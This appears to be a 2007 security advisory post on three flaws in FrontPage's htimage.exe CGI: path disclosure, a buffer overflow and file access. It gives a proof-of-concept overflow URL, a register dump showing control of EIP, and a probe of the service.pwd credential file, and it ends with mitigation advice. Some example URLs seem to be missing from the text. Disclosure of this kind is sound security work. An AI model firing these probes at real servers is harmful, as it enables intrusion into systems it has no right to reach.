CERN İmage Map Dispatcher Jun 03 2007 10:48PM
h0tturk h0tturk com
CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with FrontPage. I
found three bugs
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple buffer
overflow 3) Allow
us to access files.

Problem #1
Like I said, the first bug gives us the full path to the root directory. I tested this
against some servers, all where vulnerable!

Tested / Vulnerable FP Servers: (FrontPage'98),,,,,,, (All Windows based web servers are vulnerable if we
have premission
to execute "htimage.exe" + If "htimage.exe" exist).

To test this vulnerability we need "htimage.exe" in our "cgi-bin" directory (it's
installed by default)
and premission to execute it. That's why only Windows is vulnerable, Unix based
systems can't execute
"*.exe" files.

If we access "htimage.exe" using our favorite web browser like:
we get this error:


Error calling HTImage:

Picture config file not found, tried the following:


Now we know that the path to the root directory is

Problem #2
Like I said, simple buffer overflow. Tested against "Microsoft-PWS-95/2.0" and
Tested / Vulnerable OS: Windows'95/98
"htimage.exe" buffer overflows if we access it like:
http://server/cgi-bin/htimage.exe/<741 A's>?0,0.

HTIMAGE caused an invalid page fault in
module <unknown> at 0000:41414141.
0EAX=815c6240 CS=0137 EIP=41414141 EFLGS=00010246
EBX=0063fe28 SS=013f ESP=005400b4 EBP=005400d4
ECX=0054015c DS=013f ESI=005401a0 FS=3467
EDX=bff76648 ES=013f EDI=00540184 GS=0000
Bytes at CS:EIP:

Stack dump:
bff7663c 00540184 0063fe28 005401a0 0054015c 00540290 bff76648 0063fe28
0054016c bff85a0a 00540184 0063fe28 005401a0 0054015c 41414141 0054034c
<Server still running> + <500 Server Error>

First remote FrontPage exploit?

Problem #3
It's not a serious bug. Using "htimage.exe" we can access files on server, but
we can't read them. Accessing "htimage.exe" like:


Error calling HTImage:

HTImage.c: Syntax error at line 1 Bad field name, expecting 'default', 'rectangle',
'circle' or
'polygon' (got an alphanumeric string)

NOTE: Accessing "/_vti_pvt/service.pwd" outputs : 403 Forbidden

1) Remove "htimage.exe".
2) Do not use FrontPage, simple enough :)

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